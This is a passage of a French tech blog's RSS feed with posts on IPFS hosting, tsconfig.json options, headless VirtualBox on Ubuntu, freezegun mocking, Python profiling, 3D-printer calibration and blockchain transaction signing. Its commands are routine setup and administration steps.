<div style="word-wrap: break-word;"><b>Image URL -> </b><a target="_blank" href="https://ipfs.io/ipfs/QmRHUJ4fMMvj5A5NXeXHfRuVCX5uCzWqzSvd3JpctzhsvZ?filename=fauve.png">https://ipfs.io/ipfs/QmRHUJ4fMMvj5A5NXeXHfRuVCX5uCzWqzSvd3JpctzhsvZ?filename=fauve.png</a><br/><center><img src="https://ipfs.io/ipfs/QmRHUJ4fMMvj5A5NXeXHfRuVCX5uCzWqzSvd3JpctzhsvZ?filename=fauve.png" width="50%" height="100%"></center></div>
<p><br/>
<strong>Extrait Wikipédia</strong></p>
<p><img src="/images/ipfs.png" alt="image"></p>
<br/>
<p>Le navigateur Brave a ajouté le support à ce protocole: <a href="https://brave.com/ipfs-support/">https://brave.com/ipfs-support/</a></p>
<br/>
<p><strong>Extinction du daemon (photo toujours accessible) et optimisation</strong></p>
<p>J&rsquo;ai éteint le daemon IPFS qui tourait sur mon Mac, vidé mon cache et rechargé cette page et la photo de mon chien est toujours accessible. La photo a donc été répliquée chez d&rsquo;autres peers. Il faut encore que je creuse pour savoir combien de peers possèdent cette photo (ou chunks de photo). Est-elle réllement ad vitam æternam stockée sur IPFS ?</p>
<p><img src="/images/ipfs-daemon-stopped.png" alt="image"></p>
<p><img src="/images/no-cache.png" alt="image"></p>
<p>La réponse est non, j&rsquo;ai fait le test. Même si la photo était peut être présente chez d&rsquo;autres peers et sur la gateway ipfs.io, il suffit le peer s&rsquo;arrête ou efface le contenu de son disque dur et la photo n&rsquo;est plus accessible. Filecoin <a href="https://filecoin.io/">https://filecoin.io/</a> prend donc tout son sens pour incentiver les gens à garder le contenu des autres personnes en échange d&rsquo;une petite rémunération.</p>
<p>Autre possibilité, si je <em>pin</em> le fichier sur mon instance d&rsquo;IPFS, laisse tourner le daemon sur un serveur derrière une box (ou 2) ayant la fibre, le fichier devrait toujours rester accessible. Il sera mis en cache par la gateway IPFS ipfs.io quand quelqu&rsquo;un accédera au lien de partage.</p>
<p>Maintenant reste à savoir comment protéger sa bande passante locale si on laisse tourner ce noeud (A moins que vous ayez un serveur qui traine quelque part et qui ne sert à rien bien sûr). Sujet largement débattu ici: <a href="https://github.com/ipfs/go-ipfs/issues/3065">https://github.com/ipfs/go-ipfs/issues/3065</a></p>
<p>J&rsquo;ai repéré ceci: <a href="https://github.com/mariusae/trickle">https://github.com/mariusae/trickle</a>
<code>trickle -s -u 50 -d 50 ipfs daemon --routing=dhtclient</code></p>
<p>Et aussi:
<code>ipfs config profile apply lowpower</code></p>
<p>Cette dernière méthode semble améliorer les choses mais il y a encore quelques pics.</p>
<p><img src="/images/ipfs-pics.png" alt="image"></p>
<p>Alternatives:</p>
<ul>
<li><a href="https://filecoin.io/">https://filecoin.io/</a></li>
<li><a href="https://storj.io/">https://storj.io/</a></li>
<li><a href="https://maidsafe.net/">https://maidsafe.net/</a></li>
<li><a href="https://www.ethereum.org/">https://www.ethereum.org/</a> (related storage layer)</li>
<li><a href="https://ethersphere.github.io/swarm-home/">https://ethersphere.github.io/swarm-home/</a></li>
<li>Chia (Je l&rsquo;ai miné quelque temps)</li>
</ul>
<br/>
<p><strong>Conclusion</strong>
<br/>
Encore une fois, de nouvelles perspectives s&rsquo;offrent à nous. J&rsquo;adore mon métier car il y a sans cesse des nouveautés, nouveaux concepts. En plus, d&rsquo;avoir enregistré à jamais cette magnifique photo dans l&rsquo;IPFS, je vais pouvoir me passer d&rsquo;Algolia pour le moteur de recherche de ce site headless. Je vais pouvoir aller un cran plus loin dans le décentralisé, serverless, headless. Et tout ceci est gratuit&hellip;</p>
]]></content>
        </item>
        
        <item>
            <title>Anatomie d&#39;un fichier tsconfig.json</title>
            <link>https://leandeep.com/anatomie-dun-fichier-tsconfig.json/</link>
            <pubDate>Sat, 10 Apr 2021 14:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/anatomie-dun-fichier-tsconfig.json/</guid>
            <description>&lt;p&gt;Dans cet article nous allons voir comment configurer correctement le compilateur Typescript.
&lt;br/&gt;
Voici un grand nombre d&amp;rsquo;options possibles pour configurer convenablement votre projet Typescript. J&amp;rsquo;ai essayé de décrire chacune d&amp;rsquo;entre elle.
Bien configuré, vous pouvez avoir un &lt;em&gt;set&lt;/em&gt; d&amp;rsquo;outils et un projet vous permettant d&amp;rsquo;être performant et qualitatif. Combiné avec du TDD avec un framework comme Jasmine, Chai ou core Jest et un coverage à 100% (oui oui j&amp;rsquo;ai bien dit 100%), je ne vous raconte pas la satisfaction du travail bien fait et la sérénité que vous aurez lors de vos mises en production&amp;hellip;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Dans cet article nous allons voir comment configurer correctement le compilateur Typescript.
<br/>
Voici un grand nombre d&rsquo;options possibles pour configurer convenablement votre projet Typescript. J&rsquo;ai essayé de décrire chacune d&rsquo;entre elle.
Bien configuré, vous pouvez avoir un <em>set</em> d&rsquo;outils et un projet vous permettant d&rsquo;être performant et qualitatif. Combiné avec du TDD avec un framework comme Jasmine, Chai ou core Jest et un coverage à 100% (oui oui j&rsquo;ai bien dit 100%), je ne vous raconte pas la satisfaction du travail bien fait et la sérénité que vous aurez lors de vos mises en production&hellip;</p>
<br/>
<p><strong>tsconfig.json</strong></p>
<pre tabindex="0"><code>{
  &#34;extends: &#34;./tsconfig.base&#34;, // Il est possible de faire de l&#39;héritage de fichier tsconfig.js
  &#34;compilerOptions&#34;: { // contient toutes les rêgles permettant de configurer la compilation de notre projet Typescript
    &#34;allowJs&#34;: false,
    &#34;allowSyntheticDefaultImports&#34;: false,
    &#34;allowUnreachableCode&#34;: false,
    &#34;allowUnusedLabels&#34;: false,
    &#34;outDir&#34;: &#34;./dist&#34;, // Dossier dans lequel sera contenu l&#39;output de la compilation
    &#34;noEmitOnError&#34;: true, // Recommandé. Ne crée pas de fichier d&#39;output s&#39;il y a une erreur Typescript
    &#34;declaration&#34;: true, // permet de générer le fichier de déclaration (*.d.ts) pour créer des libs/packages importable dans d&#39;autres projets par exemple
    &#34;declarationDir&#34;: &#34;./typings&#34;, // Spécifie le dossier dans lequel seront générés les fichiers *.d.ts
    &#34;stripInternal&#34;: true, // Si l&#39;annotation /** @internal */ est présente au-dessus d&#39;une fonction, le fichier de *.d.ts généré ne contiendra pas de déclaration pour cette fonction
    &#34;sourceMap&#34;: true, // Permet de générer les fichier *.map
    &#34;inlineSources&#34;: true, // Permet d&#39;inclure le code source Typescript dans les sourcemap
    &#34;mapRoot&#34;: &#34;./source-maps&#34;, // Spécifie le dossier dans lequel seront générés les fichiers sourceMaps
    &#34;inlineSourcesMap&#34;: true, // Génére le contenu du sourceMap au format base64 inclus dans le fichier transpilé *.js
    &#34;noImplicitAny&#34;: true, // Indispensable, sans quoi il suffit de faire du JS. Indique à Typescript que l&#39;on ne veut pas type any implicite automatiquement ajouté
    &#34;strictNullChecks&#34;: true, // Indispensable, sans quoi il suffit de faire du JS. undefined et null sont historiquement des sous-types de tous les types. Il faut donc faire en sorte qu&#39;ils soient considérés comme des types à part entière. 
    &#34;suppressImplicitAnyIndexError&#34;: false, // Recommandé à false. Si à true, on n&#39;aurait pas d&#39;erreur de compilation lorsqu&#39;on voudrait ajouter un attribut à un objet dont le type n&#39;a pas été définit dès le départ
    &#34;suppressExcessPropertyErrors&#34;: false, // Recommandé à false. Si à true, on pourrait avoir des attributs facultatifs non déclarés dans les interface et ne pas avoir d&#39;erreur de compilation
    &#34;allowUnreachableCode&#34;: false, // Recommandé à false. Protège des code morts par exemple un return; puis du code
    &#34;allowUnusedLabels&#34;: false, // Recommandé à false. Si un label n&#39;est pas utilisée on aura une erreur de compilation 
    &#34;noUnusedLocals&#34;: true, // Recommandé à true. Idem. Si une variable déclarée n&#39;est pas utilisée on aura une erreur lors de la compilation
    &#34;noUnusedParameters&#34;: true, // Recommandé à true. Idem. Si un paramètre d&#39;une fonction n&#39;est pas utilisé on aura une erreur lors de la compilation
    &#34;noFallthroughCasesInSwitch&#34; : true, // Personnellement j&#39;ai bien. Ce paramètre force à utiliser un break; après être passé dans un case d&#39;un switch.
    &#34;noImplicitReturns&#34;: true, // Assez clair. Il faut absolument spécifier les return dans les fonctions; même les undefined. En effet &#34;return undefined&#34; doit être spécifié même dans les fonctions qui ne retournent rien
    &#34;module&#34;: &#34;es2015&#34;, // Définit la manière dont sont chargé les modules. Les instructions import et export sont préservées dans le JS généré avec es2015. 
    &#34;target&#34;: &#34;es2015&#34;, // Définit la version de JS dans lequel sera transpilé le code Typescript (en dehors de la gestion des modules)
    &#34;moduleResolution&#34;: &#34;node&#34;, // On gère les imports comme en NodeJS
    &#34;traceResolution&#34;: true, // Ajoute des informations de debugging sur l&#39;import des modules lors de la compilation Typescript
    &#34;diagnostics&#34;: false, // Affiche des informations de debugging permettant d&#39;optimiser éventuellement la performance de la compilation
    &#34;listFiles&#34;: false, // Affiche les fichiers Typescript transpilés
    &#34;listEmittedFiles&#34;: false, // Affiche les fichiers JS générés lors de la compilation
    &#34;noImplicitUseStrict&#34;: false,
    &#34;alwaysStrict&#34;: true, // Tous les fichiers modules ou globaux (sans import ou export) seront considérés comme des fichiers en strict mode
    &#34;skipLibCheck&#34;: true // pour les libs comme Angular
    &#34;removeComments&#34;: true, // Retire les commentaires
    &#34;experimentalDecorators&#34;: true // Permet de créer ses propres décorateurs
  },
  &#34;exclude&#34;: [], // Permet d&#39;exclure des paths de la compilation (cf. node_modules, tmp_file, &#34;src/**/*.tmp&#34;)
  &#34;include&#34;: [], // idem que exclude mais l&#39;inverse. Permet d&#39;inclure des paths dans la compilation. 
  &#34;files&#34;: [], // Permet de dire au compilateur quels paths charger. Cette config est prioritaire sur include et exclude
  &#34;typeAcquisition&#34;: { // permet de configurer l&#39;auto-complete et le type-checking des modules externes
    &#34;enable&#34;: false
  },
  &#34;compileOnSave&#34;: false,
  &#34;atom&#34;: { // Atom ajoute ses propres propriétés. On peut les modifier

  },
  &#34;angularCompilerOptions&#34;: { // Pour configurer les applications Angular

  }
}
</code></pre><blockquote>
<p>Installation de typescript: <code>npm install typescript --save-dev</code> ou <code>yarn add -D typescript</code>.</p></blockquote>
<br/>
<p>Ce fichier <code>tsconfig.json</code> est pris en compte lorsque la commande <code>npx tsc [-w]</code> est exécutée.</p>
<blockquote>
<p>Ajouter l&rsquo;annotation suivante au-dessus d&rsquo;une fonction <code>/** @internal */</code> permet de ne pas générer sa déclaration dans le fichier <code>*.d.ts</code>.</p></blockquote>
]]></content>
        </item>
        
        <item>
            <title>Virtualbox headless sur Ubuntu 20.04</title>
            <link>https://leandeep.com/virtualbox-headless-sur-ubuntu-20.04/</link>
            <pubDate>Sat, 20 Mar 2021 09:25:00 +0000</pubDate>
            
            <guid>https://leandeep.com/virtualbox-headless-sur-ubuntu-20.04/</guid>
            <description>&lt;p&gt;Bien sûr il y a Docker mais parfois on ne peut pas faire autrement que d&amp;rsquo;utiliser une VM&amp;hellip;&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;installation&#34;&gt;Installation&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo wget -q https://www.virtualbox.org/download/oracle_vbox_2016.asc -O- | sudo apt-key add -
echo &amp;#34;deb [arch=amd64] https://download.virtualbox.org/virtualbox/debian focal contrib&amp;#34; | sudo tee /etc/apt/sources.list.d/virtualbox.list
sudo apt update
sudo apt-get install --yes virtualbox-6.1
sudo systemctl status vboxdrv

sudo usermod -aG vboxusers $USER
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Comme notre serveur est headless, il nous faut un accès remote. Pour ce faire, nous devons installer l&amp;rsquo;extension Oracle.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Bien sûr il y a Docker mais parfois on ne peut pas faire autrement que d&rsquo;utiliser une VM&hellip;</p>
<br/>
<h2 id="installation">Installation</h2>
<pre tabindex="0"><code>sudo wget -q https://www.virtualbox.org/download/oracle_vbox_2016.asc -O- | sudo apt-key add -
echo &#34;deb [arch=amd64] https://download.virtualbox.org/virtualbox/debian focal contrib&#34; | sudo tee /etc/apt/sources.list.d/virtualbox.list
sudo apt update
sudo apt-get install --yes virtualbox-6.1
sudo systemctl status vboxdrv

sudo usermod -aG vboxusers $USER
</code></pre><br/>
<p>Comme notre serveur est headless, il nous faut un accès remote. Pour ce faire, nous devons installer l&rsquo;extension Oracle.</p>
<pre tabindex="0"><code>VBOXVER=`vboxmanage -v | cut -dr -f1`
wget -P /tmp https://download.virtualbox.org/virtualbox/$VBOXVER/Oracle_VM_VirtualBox_Extension_Pack-$VBOXVER.vbox-extpack
vboxmanage extpack install /tmp/Oracle_VM_VirtualBox_Extension_Pack-$VBOXVER.vbox-extpack
</code></pre><br/>
<h2 id="création-première-vm">Création première VM</h2>
<pre tabindex="0"><code>sudo mkdir -p /srv/virtualbox

# Création VM
sudo vboxmanage createvm \
    --ostype Ubuntu_64 \
    --basefolder &#34;/srv/virtualbox&#34; \
    --register \
    --name &#34;Test_to_delete&#34;

# Modification de la config de la VM (NAT network, mémoire, VRDE pour accéder à la VM via rdp)
sudo vboxmanage modifyvm &#34;Test_to_delete&#34; \
    --memory 1024 \
    --nic1 nat \
    --vrde on 
    --vrdeport 33890

# Création d&#39;un disque
sudo vboxmanage createhd \
    --filename &#34;/srv/virtualbox/Test_to_delete/Test_to_delete.vdi&#34; \
    --format VDI --size 10240

sudo vboxmanage storagectl &#34;Test_to_delete&#34; \
    --name &#34;SATA&#34; \
    --add sata

sudo vboxmanage storageattach &#34;Test_to_delete&#34; \
    --storagectl SATA --port 0 --type hdd \
    --medium &#34;/srv/virtualbox/Test_to_delete/Test_to_delete.vdi&#34;

# Démarrage de la VM
sudo vboxmanage startvm &#34;Test_to_delete&#34; --type headless
</code></pre><br/>
<h2 id="bridge-avec-host">Bridge avec host</h2>
<pre tabindex="0"><code>sudo VBoxManage modifyvm &#34;Test_to_delete&#34; --nic1 bridged
</code></pre><br/>
<h2 id="bridge-privé">Bridge privé</h2>
<pre tabindex="0"><code>sudo brctl addbr vmtestbr1 
sudo ifconfig testtodeletebr1 192.168.222.1 netmask 255.255.255.0 up
sudo ping -c 2 192.168.222.1
sudo vboxmanage modifyvm &#34;Test_to_delete&#34; --nic1 bridged --nictype1 82545EM --bridgeadapter1 testtodeletebr1

# Supprimer le bridge
sudo ifconfig testtodeletebr1 0.0.0.0 down
sudo brctl delbr testtodeletebr1
</code></pre><br/>
<p>Ping from guest to host</p>
<pre tabindex="0"><code>sudo ifconfig -a  
# interface name may be different 
sudo ifconfig eth0 192.168.222.2 netmask 255.255.255.0
sudo ping -c 4  192.168.222.1
</code></pre><br/>
<h2 id="autres-commandes">Autres commandes</h2>
<p><strong>Stopper VM</strong></p>
<pre tabindex="0"><code>sudo vboxmanage controlvm &#34;Test_to_delete&#34; poweroff
</code></pre><br/>
<p><strong>Lister toutes les VMs</strong></p>
<pre tabindex="0"><code>sudo VBoxManage list vms
</code></pre><br/>
<p><strong>Lister les VMs qui tournent</strong></p>
<pre tabindex="0"><code>sudo VBoxManage list runningvms
</code></pre><br/>
<p><strong>Entrer dans une machine virtuelle</strong></p>
<pre tabindex="0"><code>sudo VBoxManage showvminfo &#34;Test_to_delete&#34; | grep Rule
sudo VBoxManage modifyvm &#34;Test_to_delete&#34; --natpf1 &#34;ssh,tcp,,3022,,22&#34;
ssh -p 3022 &lt;user&gt;@127.0.0.1
</code></pre><br/>
<p><strong>Effacer une VM</strong></p>
<pre tabindex="0"><code>sudo VBoxManage unregistervm --delete &#34;Test_to_delete&#34;
</code></pre><br/>
<h2 id="script-auto">Script auto</h2>
<p>Créer un fichier <code>createDebian.sh</code> et exécuter la commande suivante <code>chmod +x ./createDebian.sh &amp;&amp; ./createDebian.sh TestDebian</code></p>
<pre tabindex="0"><code>#!/bin/bash
MACHINENAME=$1
echo $MACHINENAME
MACHINENAME_DISK=&#34;${MACHINENAME}_DISK&#34;
echo $MACHINENAME_DISK

# Download debian.iso
if [ ! -f ./debian.iso ]; then
    wget https://cdimage.debian.org/debian-cd/current/amd64/iso-cd/debian-10.8.0-amd64-netinst.iso -O debian.iso
fi

#Create VM
VBoxManage createvm --name $MACHINENAME --ostype &#34;Debian_64&#34; --register --basefolder `pwd`
#Set memory and network
VBoxManage modifyvm $MACHINENAME --ioapic on
VBoxManage modifyvm $MACHINENAME --memory 1024 --vram 128
VBoxManage modifyvm $MACHINENAME --nic1 nat
#Create Disk and connect Debian Iso
VBoxManage createhd --filename `pwd`/$MACHINENAME/$MACHINENAME_DISK.vdi --size 80000 --format VDI
VBoxManage storagectl $MACHINENAME --name &#34;SATA Controller&#34; --add sata --controller IntelAhci
VBoxManage storageattach $MACHINENAME --storagectl &#34;SATA Controller&#34; --port 0 --device 0 --type hdd --medium  `pwd`/$MACHINENAME/$MACHINENAME_DISK.vdi
VBoxManage storagectl $MACHINENAME --name &#34;IDE Controller&#34; --add ide --controller PIIX4
VBoxManage storageattach $MACHINENAME --storagectl &#34;IDE Controller&#34; --port 1 --device 0 --type dvddrive --medium `pwd`/debian.iso
VBoxManage modifyvm $MACHINENAME --boot1 dvd --boot2 disk --boot3 none --boot4 none



#Enable RDP
PORT=&#34;10001&#34;
VBoxManage modifyvm $MACHINENAME --vrdemulticon on --vrdeport ${PORT}
VBoxManage modifyvm $MACHINENAME --vrdeextpack default
VBoxManage modifyvm $MACHINENAME --vrde on
VBoxManage modifyvm $MACHINENAME --vrdeport 3391
VBoxManage modifyvm $MACHINENAME --vrdeaddress 127.0.0.2

#Start the VM
echo &#34;Port ${PORT}&#34;
VBoxHeadless --startvm $MACHINENAME
# xfreerdp +clipboard /w:1920 /h:1080 /v:0.0.0.0:10001
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Mocker un datetime .now() dans un test unitaire Python</title>
            <link>https://leandeep.com/mocker-un-datetime-.now-dans-un-test-unitaire-python/</link>
            <pubDate>Tue, 23 Feb 2021 21:01:00 +0000</pubDate>
            
            <guid>https://leandeep.com/mocker-un-datetime-.now-dans-un-test-unitaire-python/</guid>
            <description>&lt;p&gt;La fonction datetime.now() peut parfois &amp;ldquo;poser problème&amp;rdquo; dans les tests unitaires.
En effet, lorsqu&amp;rsquo;on veut comparer le résultat d&amp;rsquo;une fonction comportant une date (now) à un objet pré-défini &lt;em&gt;expected&lt;/em&gt;, cela peut poser problème&amp;hellip;&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;Si on essaye de patcher la fonction today() ou now() comme ceci&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;@mock.patch(&amp;#39;datetime.date.today&amp;#39;)
def test():
    datetime.date.today.return_value = date(2010, 1, 1)
    print datetime.date.today()
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;cela ne fonctionnera pas car les types &lt;em&gt;built-in&lt;/em&gt; sont immutables.&lt;/p&gt;
&lt;p&gt;On aura alors une erreur du genre: &lt;code&gt;TypeError: can&#39;t set attributes of built-in/extension type &#39;datetime.date&#39;&lt;/code&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>La fonction datetime.now() peut parfois &ldquo;poser problème&rdquo; dans les tests unitaires.
En effet, lorsqu&rsquo;on veut comparer le résultat d&rsquo;une fonction comportant une date (now) à un objet pré-défini <em>expected</em>, cela peut poser problème&hellip;</p>
<br/>
<p>Si on essaye de patcher la fonction today() ou now() comme ceci</p>
<pre tabindex="0"><code>@mock.patch(&#39;datetime.date.today&#39;)
def test():
    datetime.date.today.return_value = date(2010, 1, 1)
    print datetime.date.today()
</code></pre><p>cela ne fonctionnera pas car les types <em>built-in</em> sont immutables.</p>
<p>On aura alors une erreur du genre: <code>TypeError: can't set attributes of built-in/extension type 'datetime.date'</code></p>
<p><strong>Pour contourner ce &ldquo;problème&rdquo;, on peut utiliser le module <code>freezegun</code>.</strong></p>
<br/>
<p>Example:</p>
<pre tabindex="0"><code>from freezegun import freeze_time

@freeze_time(&#34;2021-02-23&#34;)
def test_my_function():

    from datetime import datetime
    print(datetime.now()) #  2021-02-23 00:00:00

    from datetime import date
    print(date.today()) #  2021-02-23
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Profiler son programme Python</title>
            <link>https://leandeep.com/profiler-son-programme-python/</link>
            <pubDate>Sun, 21 Feb 2021 22:13:00 +0000</pubDate>
            
            <guid>https://leandeep.com/profiler-son-programme-python/</guid>
            <description>&lt;h2 id=&#34;profiler-son-programme-python&#34;&gt;Profiler son programme Python&lt;/h2&gt;
&lt;p&gt;Dans cet article rapide, nous allons voir la procédure à suivre pour profiler son programme Python pour identifier des problèmes de performance.&lt;/p&gt;
&lt;p&gt;Pour se faire, nous allons utiliser les modules &lt;code&gt;cProfile&lt;/code&gt; et &lt;code&gt;snakeviz&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;cProfile est utilisé pour effectuer un profilage de code, ce qui permet d&amp;rsquo;analyser les performances d&amp;rsquo;un programme en mesurant le temps d&amp;rsquo;exécution de chaque fonction. Le profilage est utile pour identifier les parties du code qui prennent le plus de temps, afin d&amp;rsquo;optimiser les performances du programme.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="profiler-son-programme-python">Profiler son programme Python</h2>
<p>Dans cet article rapide, nous allons voir la procédure à suivre pour profiler son programme Python pour identifier des problèmes de performance.</p>
<p>Pour se faire, nous allons utiliser les modules <code>cProfile</code> et <code>snakeviz</code></p>
<p>cProfile est utilisé pour effectuer un profilage de code, ce qui permet d&rsquo;analyser les performances d&rsquo;un programme en mesurant le temps d&rsquo;exécution de chaque fonction. Le profilage est utile pour identifier les parties du code qui prennent le plus de temps, afin d&rsquo;optimiser les performances du programme.</p>
<p>cProfile est une version plus performante de la librairie profile standard de Python. Elle utilise une approche basée sur C pour minimiser l&rsquo;impact du profilage sur le temps d&rsquo;exécution global du programme.</p>
<p>SnakeViz est un visualiseur graphique Web pour la sortie du module cProfile de Python et une alternative à l&rsquo;utilisation du module pstats de la bibliothèque standard.</p>
<br/>
<h2 id="pré-requis">Pré-requis</h2>
<pre tabindex="0"><code>pip install snakeviz
</code></pre><br/>
<h2 id="installation">Installation</h2>
<p>Voici un exemple de code simple permettant de comprendre comment utiliser cProfile.</p>
<pre tabindex="0"><code>import cProfile

def main():
    pass

if __name__ == &#34;__main__&#34;:
    profiler = cProfile.Profile()
    profiler.enable()
    main()
    profiler.disable()
    profiler.dump_stats(&#34;example.prof&#34;)
</code></pre><br/>
<h2 id="visualisation">Visualisation</h2>
<pre tabindex="0"><code>snakeviz example.prof
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Régler une imprimante 3D Creality cr10s pro</title>
            <link>https://leandeep.com/r%C3%A9gler-une-imprimante-3d-creality-cr10s-pro/</link>
            <pubDate>Sat, 02 Jan 2021 21:51:00 +0000</pubDate>
            
            <guid>https://leandeep.com/r%C3%A9gler-une-imprimante-3d-creality-cr10s-pro/</guid>
            <description>&lt;p&gt;&lt;img src=&#34;https://leandeep.com/images/creality-cr-10s-pro.jpg#center&#34; alt=&#34;image&#34;&gt;&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Réglage de l&amp;rsquo;axe X&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Pour le réglage de l&amp;rsquo;axe X, il faut utiliser la cale de 10cm fournie, la caler bien droite sous la courroie, et régler l&amp;rsquo;axe en faisant tourner la vis sans fin à l&amp;rsquo;arrière. (Tenez l&amp;rsquo;autre vis sans fin pour ne pas qu&amp;rsquo;elle tourne en même temps)&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://leandeep.com/images/3d_print_x1.png&#34; alt=&#34;image&#34;&gt;&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Réglage de l&amp;rsquo;axe Z&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Visser toutes les vis du plateau à fond sans forcer et desserrer de 1 tour.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p><img src="/images/creality-cr-10s-pro.jpg#center" alt="image"></p>
<br/>
<p><strong>Réglage de l&rsquo;axe X</strong></p>
<p>Pour le réglage de l&rsquo;axe X, il faut utiliser la cale de 10cm fournie, la caler bien droite sous la courroie, et régler l&rsquo;axe en faisant tourner la vis sans fin à l&rsquo;arrière. (Tenez l&rsquo;autre vis sans fin pour ne pas qu&rsquo;elle tourne en même temps)</p>
<p><img src="/images/3d_print_x1.png" alt="image"></p>
<br/>
<p><strong>Réglage de l&rsquo;axe Z</strong></p>
<p>Visser toutes les vis du plateau à fond sans forcer et desserrer de 1 tour.</p>
<p><img src="/images/3d_print_z1.png" alt="image"></p>
<br/>
<p>Allumer l&rsquo;imprimante et chauffer le plateau à 60° et la buse à 200°  <code>(MENU: Temp &gt; Manual &gt; Nozzle 200° et Hot-Bed 60°)</code></p>
<p><img src="/images/3d_print_z2.png" alt="image"></p>
<br/>
<p>Une fois les températures atteintes, cliquer sur <code>MENU: Settings &gt; Level mode</code>. La buse va se placer sur la position du milieu et avec les touches <code>Z+</code> et <code>Z-</code> ajuster la hauteur avec une feuille de papier A4. Il faut que la buse frotte le papier sans l’accrocher.</p>
<p><img src="/images/3d_print_z3.png" alt="image"></p>
<br/>
<p>On va régler le détecteur de leveling. Pour ce faire, dévisser la vis du dessus jusqu&rsquo;à ce que la led rouge soit éteinte, et revisser jusqu’à ce qu&rsquo;elle se rallume.</p>
<p><img src="/images/3d_print_z4.png" alt="image"></p>
<br/>
<p>Appuyer sur <code>Z Home</code>. La buse va se placer sur la position du milieu et ajuster de nouveau la buse avec une feuille de papier avec les touches <code>Z+</code> et <code>Z-</code> et cliquer à nouveau sur <code>Z Home</code>.</p>
<p><img src="/images/3d_print_z5.png" alt="image"></p>
<br/>
<p><strong>Réglage de l&rsquo;axe Y (réglage du plateau)</strong></p>
<p>2 méthodes existe, le faire manuellement sans les moteurs et sans le mode <code>AUX LEVELING</code>, ou en automatique avec le mode <code>AUX LEVELING</code>.</p>
<br/>
<p><strong>MANUEL</strong></p>
<p>Désactiver les moteurs en cliquant sur <code>MENU: Settings &gt; Motor Off</code></p>
<p><img src="/images/3d_print_y1.png" alt="image"></p>
<br/>
<p>Déplacer manuellement la buse dans les 4 coins du plateau et régler la hauteur de plateau avec les vis en dessous. Avec une feuille de papier A4, il faut que la buse frotte le papier sans l’accrocher. Ne pas hésiter à faire le réglage une seconde fois. Régler le point du milieu en dernier.</p>
<p><img src="/images/3d_print_y2.png" alt="image"></p>
<br/>
<p><strong>Automatique</strong></p>
<p>Cliquer dans <code>MENU: Settings &gt; Level mode &gt; AUX LEVELING</code></p>
<p><img src="/images/3d_print_y3.png" alt="image"></p>
<br/>
<p>Cliquer ensuite sur chaque coin, pour que la buse se déplace et ensuite régler la hauteur de plateau avec les vis en dessous. Avec une feuille de papier A4, il faut que la buse frotte le papier sans l’accrocher. Ne pas hésiter à faire le réglage une seconde fois. Régler le point du milieu en dernier.</p>
<p>Une fois que c&rsquo;est fait, cliquer sur <code>Z Home</code>. Une fois que la buse s&rsquo;est déplacé, cliquer sur <code>Check level</code>. La buse fera le check des 16 points.</p>
<p><img src="/images/3d_print_y4.png" alt="image"></p>
<br/>
<p><strong>Tester l&rsquo;impression</strong></p>
<p>Au début d&rsquo;une impression, ajuster la hauteur de buse avec les boutons <code>Adjust &gt; Z-</code> et <code>Z+</code>.</p>
<p>Valider votre configuration en imprimant <a href="https://www.thingiverse.com/thing:3409848?fbclid=IwAR2Q3_BtI3UeNdZvZAobStS9_dGBbsSYJObGzkPBRsEdqdG9zqN2ktt7e3k">cette pièce</a>.
<a href="https://leandeep.com/Bed_calibration_for_CR-10S_PRO.zip">Direct Download</a></p>
]]></content>
        </item>
        
        <item>
            <title>Comment les miners vérifient-ils les transactions ?</title>
            <link>https://leandeep.com/comment-les-miners-v%C3%A9rifient-ils-les-transactions/</link>
            <pubDate>Sat, 19 Dec 2020 19:19:00 +0000</pubDate>
            
            <guid>https://leandeep.com/comment-les-miners-v%C3%A9rifient-ils-les-transactions/</guid>
            <description>&lt;blockquote&gt;
&lt;p&gt;Un schéma (surtout quand il est magnifique :D) vaut mieux qu&amp;rsquo;un long discours&amp;hellip;&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&#34;https://leandeep.com/images/verification-transactions.png&#34; alt=&#34;image&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;
Lorsque je veux envoyer un message dans la blockchain, une signature en plus du message est créée à partir de ma clé privée.
&lt;br/&gt;
&lt;br/&gt;
L&amp;rsquo;ensemble {message + signature + clé publique} est envoyé dans une transaction.
&lt;br/&gt;
&lt;br/&gt;
Ces 3 informations permenttent aux miners de valider la légitimité de la transaction grâce à une fonction de validation.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<blockquote>
<p>Un schéma (surtout quand il est magnifique :D) vaut mieux qu&rsquo;un long discours&hellip;</p></blockquote>
<p><img src="/images/verification-transactions.png" alt="image"></p>
<p><br/>
Lorsque je veux envoyer un message dans la blockchain, une signature en plus du message est créée à partir de ma clé privée.
<br/>
<br/>
L&rsquo;ensemble {message + signature + clé publique} est envoyé dans une transaction.
<br/>
<br/>
Ces 3 informations permenttent aux miners de valider la légitimité de la transaction grâce à une fonction de validation.</p>
]]></content>
        </item>
        
        <item>
            <title>Faire tourner un noeud Ethereum</title>
            <link>https://leandeep.com/faire-tourner-un-noeud-ethereum/</link>
            <pubDate>Wed, 16 Dec 2020 21:25:00 +0000</pubDate>
            
            <guid>https://leandeep.com/faire-tourner-un-noeud-ethereum/</guid>
            <description>&lt;p&gt;Ce court article décrit comment faire tourner un noeud Ethereum sur n&amp;rsquo;importe quel OS.&lt;/p&gt;
